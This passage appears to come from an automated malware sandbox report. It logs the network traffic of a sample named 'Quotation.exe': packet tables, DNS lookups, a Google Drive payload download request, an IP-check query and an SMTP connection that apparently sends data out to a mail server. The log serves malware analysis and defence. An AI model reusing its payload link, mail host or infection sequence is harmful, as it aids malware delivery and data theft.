Oct 31, 2024 10:45:24.421468973 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.421514988 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.421539068 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.421546936 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.421561003 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.421646118 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.422676086 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.422739983 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.422749043 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.422801971 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.422806978 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.422879934 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.422884941 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.422931910 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.427114010 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.427208900 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.427216053 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.427269936 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.427608967 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.427692890 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.427700043 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.427743912 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.432221889 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.432367086 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.432403088 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.432497978 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.435942888 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.436043024 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.436057091 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.436134100 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.439774036 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.439846039 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.439852953 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.439933062 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.445058107 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.445178986 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.445185900 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.445230007 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.450879097 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.450948000 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.450954914 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.450998068 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.456619024 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.456767082 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.456773043 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.456824064 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.462302923 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.462387085 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.462397099 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.462460041 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.467761993 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.467849016 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.467880011 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.467919111 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.473509073 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.473609924 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.473623991 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.473675013 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.479552031 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.479634047 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.479644060 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.479763985 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.479772091 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.479830027 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.539681911 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.539762974 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.539776087 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.539819956 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.539829969 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.539838076 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.539875031 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.539906025 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.539908886 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.539927006 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.539985895 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.539985895 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.539994955 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.540034056 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.540298939 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.540353060 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.541290998 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.541347027 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.541356087 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.541404963 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.541424036 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.541431904 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.541451931 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.541728020 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.541732073 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.541789055 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.545870066 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.545969009 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.545980930 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.546072960 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.546086073 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.546101093 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.546134949 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.546185970 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.554580927 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.554656982 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.554666996 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.554708004 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.558424950 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.558494091 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.558502913 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.558556080 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.558562040 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.558572054 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.558594942 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.558621883 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.563837051 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.563934088 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.563946009 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.564018011 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.564023972 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.564078093 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.569377899 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.569437981 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.569449902 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.569535017 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.575257063 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.575376034 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.575391054 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.575504065 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.580893993 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.580951929 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.580961943 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.581005096 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.586510897 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.586833954 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.586855888 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.587078094 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.592221022 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.592593908 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.592605114 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.592658997 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.598628044 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.598720074 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.598742008 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.598756075 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.598793983 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.599070072 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.658216000 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.658313036 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.658389091 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.658421993 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.658451080 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.658468962 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.658495903 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.658503056 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.658520937 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.658545971 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.658570051 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.658576965 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.658595085 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.659212112 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.659218073 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.659269094 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.659683943 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.659761906 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.659780979 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.659790039 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.659813881 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.660115957 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.660121918 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.660175085 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.660271883 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.660433054 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.664338112 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.664479971 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.664494038 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.664752007 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.664772034 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.664779902 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.664809942 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.665028095 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.670495033 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.670614004 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.672900915 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.673029900 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.673042059 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.673579931 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.676937103 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.677001953 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.677035093 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.677046061 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.677064896 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.677380085 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.677386045 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.677443027 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.682338953 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.682565928 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.682575941 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.682670116 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.688097000 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.688213110 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.688225985 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.688410997 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.693710089 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.693816900 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.693826914 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.693882942 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.699371099 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.699506044 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.699523926 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.699595928 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.721074104 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.721146107 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.721175909 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.721204042 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.721220016 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.721235037 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.721256971 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.721272945 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.721295118 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.721359968 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.721359968 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.721368074 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.721438885 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.721620083 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.721673012 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.721764088 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:25.796844959 CET	49975	443	192.168.2.9	172.67.74.152
Oct 31, 2024 10:45:25.796889067 CET	443	49975	172.67.74.152	192.168.2.9
Oct 31, 2024 10:45:25.796968937 CET	49975	443	192.168.2.9	172.67.74.152
Oct 31, 2024 10:45:25.800235987 CET	49975	443	192.168.2.9	172.67.74.152
Oct 31, 2024 10:45:25.800261021 CET	443	49975	172.67.74.152	192.168.2.9
Oct 31, 2024 10:45:26.418500900 CET	443	49975	172.67.74.152	192.168.2.9
Oct 31, 2024 10:45:26.418735027 CET	49975	443	192.168.2.9	172.67.74.152
Oct 31, 2024 10:45:26.420898914 CET	49975	443	192.168.2.9	172.67.74.152
Oct 31, 2024 10:45:26.420912981 CET	443	49975	172.67.74.152	192.168.2.9
Oct 31, 2024 10:45:26.421156883 CET	443	49975	172.67.74.152	192.168.2.9
Oct 31, 2024 10:45:26.428392887 CET	49975	443	192.168.2.9	172.67.74.152
Oct 31, 2024 10:45:26.471333981 CET	443	49975	172.67.74.152	192.168.2.9
Oct 31, 2024 10:45:26.602969885 CET	443	49975	172.67.74.152	192.168.2.9
Oct 31, 2024 10:45:26.603044033 CET	443	49975	172.67.74.152	192.168.2.9
Oct 31, 2024 10:45:26.603543043 CET	49975	443	192.168.2.9	172.67.74.152
Oct 31, 2024 10:45:26.609500885 CET	49975	443	192.168.2.9	172.67.74.152
Oct 31, 2024 10:45:28.559958935 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:28.564934015 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:28.566540956 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:29.273474932 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:29.273715973 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:29.284356117 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:29.436853886 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:29.437043905 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:29.442148924 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:29.587775946 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:29.588481903 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:29.593674898 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:29.757788897 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:29.757806063 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:29.758079052 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:29.758918047 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:29.758954048 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:29.759001970 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:29.759354115 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:29.787522078 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:29.792501926 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:29.936145067 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:29.938990116 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:29.943845987 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:30.087368965 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:30.088823080 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:30.093852997 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:30.238554955 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:30.239949942 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:30.246479034 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:30.395903111 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:30.396251917 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:30.401550055 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:30.544436932 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:30.544708014 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:30.549685955 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:30.696472883 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:30.697134018 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:30.702608109 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:30.845284939 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:30.846009016 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:30.846072912 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:30.846096039 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:30.846126080 CET	49976	587	192.168.2.9	67.23.226.139
Oct 31, 2024 10:45:30.851639032 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:30.851706982 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:31.011070013 CET	587	49976	67.23.226.139	192.168.2.9
Oct 31, 2024 10:45:31.061054945 CET	49976	587	192.168.2.9	67.23.226.139

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 10:45:19.168256998 CET	59206	53	192.168.2.9	1.1.1.1
Oct 31, 2024 10:45:19.175139904 CET	53	59206	1.1.1.1	192.168.2.9
Oct 31, 2024 10:45:20.686918974 CET	60989	53	192.168.2.9	1.1.1.1
Oct 31, 2024 10:45:20.694693089 CET	53	60989	1.1.1.1	192.168.2.9
Oct 31, 2024 10:45:25.783711910 CET	62820	53	192.168.2.9	1.1.1.1
Oct 31, 2024 10:45:25.792222977 CET	53	62820	1.1.1.1	192.168.2.9
Oct 31, 2024 10:45:27.825550079 CET	62779	53	192.168.2.9	1.1.1.1
Oct 31, 2024 10:45:28.530518055 CET	53	62779	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 10:45:19.168256998 CET	192.168.2.9	1.1.1.1	0x8c7f	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 10:45:20.686918974 CET	192.168.2.9	1.1.1.1	0x553c	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 10:45:25.783711910 CET	192.168.2.9	1.1.1.1	0x231e	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 10:45:27.825550079 CET	192.168.2.9	1.1.1.1	0x6dd4	Standard query (0)	mail.showpiece.trillennium.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 10:45:19.175139904 CET	1.1.1.1	192.168.2.9	0x8c7f	No error (0)	drive.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 10:45:20.694693089 CET	1.1.1.1	192.168.2.9	0x553c	No error (0)	drive.usercontent.google.com		172.217.16.129	A (IP address)	IN (0x0001)	false
Oct 31, 2024 10:45:25.792222977 CET	1.1.1.1	192.168.2.9	0x231e	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Oct 31, 2024 10:45:25.792222977 CET	1.1.1.1	192.168.2.9	0x231e	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Oct 31, 2024 10:45:25.792222977 CET	1.1.1.1	192.168.2.9	0x231e	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Oct 31, 2024 10:45:28.530518055 CET	1.1.1.1	192.168.2.9	0x6dd4	No error (0)	mail.showpiece.trillennium.biz	showpiece.trillennium.biz		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 10:45:28.530518055 CET	1.1.1.1	192.168.2.9	0x6dd4	No error (0)	showpiece.trillennium.biz		67.23.226.139	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49973	142.250.185.238	443	1212	C:\Users\user\Desktop\Quotation.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 09:45:20 UTC	216	OUT	GET /uc?export=download&id=1Of5kNy0BP9ETJWGaeMWfLrbVk-DyWIxf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-10-31 09:45:20 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 31 Oct 2024 09:45:20 GMT Location: https://drive.usercontent.google.com/download?id=1Of5kNy0BP9ETJWGaeMWfLrbVk-DyWIxf&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-kxZVxB2RFUhkNEmFRg1W9Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com 